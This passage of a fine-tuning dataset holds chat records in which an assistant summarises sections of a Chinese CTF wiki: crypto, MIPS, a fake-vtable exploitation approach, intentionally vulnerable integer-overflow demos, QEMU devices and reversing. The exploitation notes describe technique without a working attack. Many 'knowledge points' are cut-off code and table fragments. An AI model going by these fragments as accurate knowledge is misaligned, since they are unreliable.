 [图片: Pohlig Hellman Algorithm;\n- 2. 计算 $y_i \\equiv y^{n/p_i^{e_i}} \\equiv g^{xn/p_i^{e_i}} \\equiv g_i^{x} \\equiv g_i^{x \\bmod p_i^{e_i}} \\equiv g_i^{x_i} \\pmod m$，这里我们知道 $y_i,m,g_i$，而$x_i$ 的范围为$[0,p_i^{e_i})$，由 $n$ 是一个光滑数，可知其范围较小，因此我们可以使用 Pollard’s kangaroo algorithm 等方法快速求得$x_i$。\n- 2. 根据上述的推导，我们可以得到对于 $i \\in \\{1,\\ldots,r\\}$ ，$x \\equiv x_i \\pmod{p_i^{e_i}}$ ，该式可用中国剩余定理求解。\n- 但当 $n$ 为素数，$m=2n+1$，那么复杂度和 $O(\\sqrt m)$ 是几乎没有差别的。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- discrete-log\n- discrete-log.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 776, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Pohlig-Hellman algorithm", "heading_path": ["离散对数", "离散对数求解方式", "Pohlig-Hellman algorithm"], "original_id": "docs-8d2e3bceeafe35801078", "original_line": 204, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "source_root": "docs", "source_sha256": "12483417d69f6b25f640d4229054bf6914168d469d2259d1b5b0f1a3c915fe8d", "split": "train", "split_group_key": "78e2f0c86b5b0c85a3529bd9", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "discrete-log", "discrete-log.md"], "title": "离散对数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d8a96eb5f0391ab97667", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/mips/readme.md`\n标题：MIPS\n章节：MIPS > 0x2 指令 Instruction\n路径分类：assembly / assembly/mips/readme.md\n分块：2/4\n\n核心知识点：\n- 本节主题围绕“0x2 指令 Instruction”展开。\n- | | Syntax: | jal target | | Encoding: | 0000 11ii iiii iiii iiii iiii iiii iiii | JR -- Jump register | Description: | Jump to the address contained in register $s | | ------------ | -------------------------------------------- | | Operation: | PC = nPC;\n- | | Syntax: | bne $s, $t, offset | | Encoding: | 0001 01ss ssst tttt iiii iiii iiii iiii | DIV -- Divide | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | -------------------------------------------...\n- | | Syntax: | div $s, $t | | Encoding: | 0000 00ss ssst tttt 0000 0000 0001 1010 | DIVU -- Divide unsigned | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | -----------------------------------------...\n- nPC = (PC & 0xf0000000) \\| (target << 2);\n- The lower 16 bits are zeroes. | | ------------ | ------------------------------------------------------------ | | Operation: | $t = (imm << 16);\n\n关键术语：\n- AI安全\n- assembly\n- mips\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 5014, "chunk_count": 4, "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "ai", "heading": "0x2 指令 Instruction", "heading_path": ["MIPS", "0x2 指令 Instruction"], "original_id": "docs-2cf459980a45a58bee8f", "original_line": 108, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "source_root": "docs", "source_sha256": "3dd6ae5d2f440b8e4d60e6eb8581577f322de326fc0478d8a8ad1a466879f9a7", "split": "train", "split_group_key": "f24507ac33f6ec4f9e12c09f", "subcategory": "assembly/mips/readme.md", "terms": ["AI安全", "assembly", "mips", "readme.md"], "title": "MIPS"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-d8de527079a5de0b2cfe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「思路：」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：伪造vtable劫持程序流程 > 2018 HCTF the_end > 思路：\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“思路：”展开。\n- 利用的是在程序调用 exit 后，会遍历 _IO_list_all ，调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。\n- 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ，然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。\n- DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ;\n- fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ;\n- DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ;\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 17 行，首行 `.data:00000000003C56F8 dq offset _IO_file_jumps // vtables`\n- plain: 16 行，首行 `pwndbg> x /30gx 0x7f41d9c026f8`\n- plain: 23 行，首行 `void * funcs[] = {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2892, "chunk_count": 2, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "思路：", "heading_path": ["伪造vtable劫持程序流程", "2018 HCTF the_end", "思路："], "original_id": "docs-fa7666606ce8730217af", "original_line": 1202, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "000d9ca7d620471c2f0ed06d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-de05cf1cca59b29f75bb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「dvmLoadNativeCode」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > 核心加载流程 > dvmLoadNativeCode\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“dvmLoadNativeCode”展开。\n- 函数的基本执行流程如下 1. 利用 findSharedLibEntry 判断是否已经加载了这个库，以及如果已经加载的话，是不是采用的是同一个class loader。\n- } ` 2. 如果没有加载的话，就会利用 dlopen 打开该共享库。\n- ownership of the string is transferred to the caller. / bool dvmLoadNativeCode(const char pathName, Object classLoader, char* detail) { SharedLib pEntry;\n- The current version of the dynamic linker prints detailed information about dlopen() failures.\n- ThreadStatus oldStatus = dvmChangeStatus(self, THREAD_VMWAIT);\n\n关键术语：\n- Android逆向\n- 密码学\n- AI安全\n- 漏洞利用\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n- code:c++\n\n代码/命令片段线索：\n- c++: 48 行，首行 `/*`\n- c++: 36 行，首行 `/*`\n- c++: 9 行，首行 `void* dlopen(const char* filename, int flags) {`\n- c++: 13 行，首行 `soinfo* do_dlopen(const char* name, int flags) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 4520, "chunk_count": 2, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "dvmLoadNativeCode", "heading_path": ["so 介绍", "核心加载流程", "dvmLoadNativeCode"], "original_id": "docs-ac16eaf3528aec654490", "original_line": 74, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "4dc4c8fc6bf7ce2d45d4ca66", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["Android逆向", "密码学", "AI安全", "漏洞利用", "android", "basic-operating-mechanism", "native-layer", "so.md", "code:c++"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-de3e5821043e5a40cf63", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「解题模式 - Jeopardy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 解题模式 - Jeopardy\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解题模式 - Jeopardy”展开。\n- 目前的 CTF 题目类型主要有六个类别： - Web 网络攻防 - Reverse Engineering 逆向工程 - Pwn 二进制漏洞利用 - Crypto 密码攻击 - Mobile 移动安全 - Misc 安全杂项\n- 在解题模式 CTF 赛制中，参赛队伍可以通过互联网或者现场网络参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 编程竞赛、信息学奥林匹克赛，根据总分和时间来进行排名。\n- 解题模式下通常会设置 一血 、 二血 、 三血 ，也即最先完成的前三支队伍会获得额外分值。\n- 此外，还有一种“降分”的计分规则，即在设置每道题目的初始分数后，根据该题的成功解答队伍数来逐渐降低该题的分值。\n- 解题模式（Jeopardy）常见于线上选拔比赛。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 467, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "解题模式 - Jeopardy", "heading_path": ["CTF 竞赛模式简介", "解题模式 - Jeopardy"], "original_id": "docs-4db0b8f1c9a0a64b76c1", "original_line": 526, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "afa5e7777a1a9743ad828e35", "subcategory": "introduction/mode.md", "terms": ["密码学", "漏洞利用", "mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e1ba5bae62be211a0aca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「Qemu 中 PCI 设备的编写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > Qemu 中 PCI 设备的编写\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“Qemu 中 PCI 设备的编写”展开。\n- 文件: ./figure/new-qemu-dev-lspci.png] 我们可以使用如下程序来测试我们的设备的输入输出，需要注意的是这需要 root 权限： > PMIO，使用 iopl 更改端口权限后便能通过 in/out 类指令读写端口 ``c #include  #include  #include  #include  #include  int main(int argc, char argv, cha...\n- ` 以及定义一个空的 Class 模板，继承自 PCI 设备的静态类型 PCIDeviceClass，不过这一步并不是必须的，事实上我们可以直接用 PCIDeviceClass 作为我们设备类的 Class： `c typedef struct A3PCIDevClass { /< private >/ PCIDeviceClass parent;\n- } ` 最后是 Class 与 Object（也就是 instance）的初始化函数，这里需要注意的是在 Class 的初始化函数中我们应当设置父类 PCIDeviceClass 的一系列基本属性（也就是 PCI 设备的基本属性）： `c static void a3dev_instance_init(Object obj) { // do something } static void a3dev_class_init(ObjectClass oc, void data) { DeviceClass dc...\n- 在补充了这么多的 Qemu 相关的知识之后，现在我们可以开始在 Qemu 中编写 PCI 设备了，这里笔者将编写一个最简单的 Qemu 设备，并将源码放在 hw/misc/a3dev.c 中 Qemu 当中 PCI 设备实例的基类是 PCIDevice，因此我们应当创建一个继承自 PCIDevice 的类来表示我们的设备实例，这里笔者仅声明了两个 MemoryRegion 用作 MMIO 与 PMIO，以及一个用作数据存储的 buffer： ``c #define A3DEV_BUF_SIZE 0x100 t...\n- if (addr + size > A3DEV_BUF_SIZE) return val;\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- environment\n- code:c\n- code:meson\n- code:kconfig\n\n代码/命令片段线索：\n- c: 9 行，首行 `#define A3DEV_BUF_SIZE 0x100`\n- c: 4 行，首行 `typedef struct A3PCIDevClass {`\n- c: 7 行，首行 `#define TYPE_A3DEV_PCI \"a3dev-pci\"`\n- c: 52 行，首行 `static uint64_t`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5150, "chunk_count": 2, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Qemu 中 PCI 设备的编写", "heading_path": ["编写 QEMU 模拟设备", "Qemu 中 PCI 设备的编写"], "original_id": "docs-e9a009015f8e47fcff34", "original_line": 1434, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "609a672d028135740cf7c7a1", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "environment", "code:c", "code:meson", "code:kconfig"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e259153d3801eaae59f3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「错误的类型转换」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`\n标题：整数溢出\n章节：gdb a.out > 错误的类型转换\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 即使正确的对变量进行约束，也仍然有可能出现整数溢出漏洞，我认为可以概括为错误的类型转换，如果继续细分下去，可以分为： 1. 范围大的变量赋值给范围小的变量 ``c $ cat test2.c void check(int n) { if (!\n- } $ gcc test2.c $ ./a.out 4294967296 vuln ` 上述代码就是一个范围大的变量(长整型a)，传入 check 函数后变为范围小的变量(整型变量n)，造成整数溢出的例子。\n- 2. 只做了单边限制 这种情况只针对有符号类型 `c $ cat test3.c int main(void) { int len, l;\n- } int main(void) { long int a;\n- } $ gcc test3.c $ ./a.out -1 aaaaaaaaaaaa aaaaaaaaaaaa ` 从表面上看，我们对变量 len 进行了限制，但是仔细思考可以发现，len 是有符号整型，所以 len 的长度可以为负数，但是在 read 函数中，第三个参数的类型是 size_t，该类型相当于 unsigned long int`，属于无符号长整型 上面举例的两种情况都有一个共性，就是函数的形参和实参的类型不同，所以我认为可以总结为错误的类型转换\n- if (a == 0) printf(\"Bad\");\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- integeroverflow\n- code:c\n\n代码/命令片段线索：\n- c: 22 行，首行 `$ cat test2.c`\n- c: 18 行，首行 `$ cat test3.c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1018, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "错误的类型转换", "heading_path": ["gdb a.out", "错误的类型转换"], "original_id": "docs-f9a778640addd87f60f3", "original_line": 62, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "source_root": "docs", "source_sha256": "959bb364d37f2e799d50154207a0ed57e01a3cf27d5bd74723e161e6e9a941f6", "split": "train", "split_group_key": "6c547aba0a55c6b20e820dc7", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "integeroverflow", "code:c"], "title": "整数溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e2a217178c88e74ec04a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「平台设备模拟（Platform device emulation）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 基本模型 > 平台设备模拟（Platform device emulation）\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“平台设备模拟（Platform device emulation）”展开。\n- 基于 hypervisor 的设备模拟（Hypervisor-based device emulation）是 VMware workstation 系列产品较为常用的一种方式：在 hypervisor 中有着对一般设备的仿真供 guest OS 进行共享，包括虚拟磁盘、虚拟网络适配器与其他的必要元素，这种模型如下图所示： [图片文件: ./figure/vmm-base-vdev.png] 第二种架构称为用户空间设备模拟（User space device emulation），其虚拟设备的模拟在用户空间进行。\n- 由于设备的模拟是独立于 hypervisor 的，因此我们可以模拟任何设备，且该模拟设备可以在其他 hypervisor 间进行共享。\n- 平台设备模拟即由 Hypervisor 负责模拟虚拟设备的功能，不同的虚拟化软件对于模拟设备的实现方式不同。\n- QEMU 在用户空间中独立进行设备模拟，虚拟设备被其他的 VM 通过 hypervisor 提供的接口进行调用。\n- [图片文件: ./figure/usr-emu-dev.png]\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 486, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "平台设备模拟（Platform device emulation）", "heading_path": ["IO 虚拟化", "基本模型", "平台设备模拟（Platform device emulation）"], "original_id": "docs-269f682c8be5fafe4f4c", "original_line": 1409, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "802633876bfbf1856ec231f8", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e3fc705d976ad332768f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「5. 构建 LLM-based 的 Agent Loop」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 5. 构建 LLM-based 的 Agent Loop\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“5. 构建 LLM-based 的 Agent Loop”展开。\n- 下面总算来到最为核心的一步，也就是构建一个观测->执行的循环，让咱们的 Agent Loop 真正地动起来 首先我们需要让 LLM 仅输出格式化信息，我们的期望是 LLM 仅输出 JSON 格式的消息，从而方便我们进行解析，由于 LLM 本身仅能接收文本输入，因此这一规约仅能通过 PROMPT 来完成，也就是我们提前提供给 LLM 的初始输入。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:json\n- code:python\n\n代码/命令片段线索：\n- json: 5 行，首行 `{`\n- python: 65 行，首行 `class Agent:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1970, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "5. 构建 LLM-based 的 Agent Loop", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "5. 构建 LLM-based 的 Agent Loop"], "original_id": "docs-9e4c23814beb6edb9ee7", "original_line": 19, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "355d98100e8aa18ea775ffbe", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop", "code:json", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e5d13b8ff55caca0740d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/fix.md` 中的章节「PCAP文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/fix.md`\n标题：PCAP 文件修复\n章节：PCAP 文件修复 > PCAP文件结构\n路径分类：misc / misc/traffic/fix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“PCAP文件结构”展开。\n- 一般来说,对于 PCAP 文件格式考察较少，且通常都能借助于现成的工具如 pcapfix 直接修复，这里大致介绍下几个常见的块，详细可以翻看Here。\n- Capture Statistics Block: it defines how to store some statistical data (e.g. packet dropped, etc) which can be useful to undestand the conditions in which the capture has been made.\n- Packet Block: it contains a single captured packet, or a portion of it.\n- Simple Packet Block: it contains a single captured packet, or a portion of it, with only a minimal set of information about it.\n- Interface Description Block: it defines the most important characteristics of the interface(s) used for capturing traffic.\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 修复/缓解\n- misc\n- traffic\n- fix.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 12 行，首行 `0 1 2 3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1563, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "PCAP文件结构", "heading_path": ["PCAP 文件修复", "PCAP文件结构"], "original_id": "docs-c650b62e326a603ce204", "original_line": 596, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "source_root": "docs", "source_sha256": "7738c6ca7a537110aae2b0183bb3420088531e5950042c189fc351bd22f3dc42", "split": "train", "split_group_key": "95803f0ac2d37b5640adafd5", "subcategory": "misc/traffic/fix.md", "terms": ["ROP/JOP", "AI安全", "修复/缓解", "misc", "traffic", "fix.md", "code:shell"], "title": "PCAP 文件修复"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e7d555a9c9cd9cd4e1d6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/constraint/z3.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/constraint/z3.md`\n标题：z3\n章节：z3 > 例题：GWCTF 2019 - xxor > 逆向分析\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“逆向分析”展开。\n- 首先惯例拖入 IDA 中，main() 函数整体逻辑比较简单，首先会读入 6 个整型到栈上，接下来对前三个整型调用三次 sub_400686() 函数进行处理并将结果存到 v7 中，最后调用 sub_400770() 进行检查： ``c __int64 __fastcall main(int a1, char a2, char a3) { int i;\n- DATA XREF: main+FE↑o .data:0000000000601064 dd 2 .data:0000000000601068 dd 3 .data:000000000060106C dd 4 ` 而 sub_400770() 会对处理过后的输入进行检查： `c __int64 __fastcall sub_400770(_DWORD a1) { __int64 result;\n- puts(\"You seccess half\\n\");\n- // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u);\n- } if ( (unsigned int)sub_400770(v7, a2) !\n\n关键术语：\n- 栈\n- 密码学\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n- code:c\n\n代码/命令片段线索：\n- c: 46 行，首行 `__int64 __fastcall main(int a1, char **a2, char 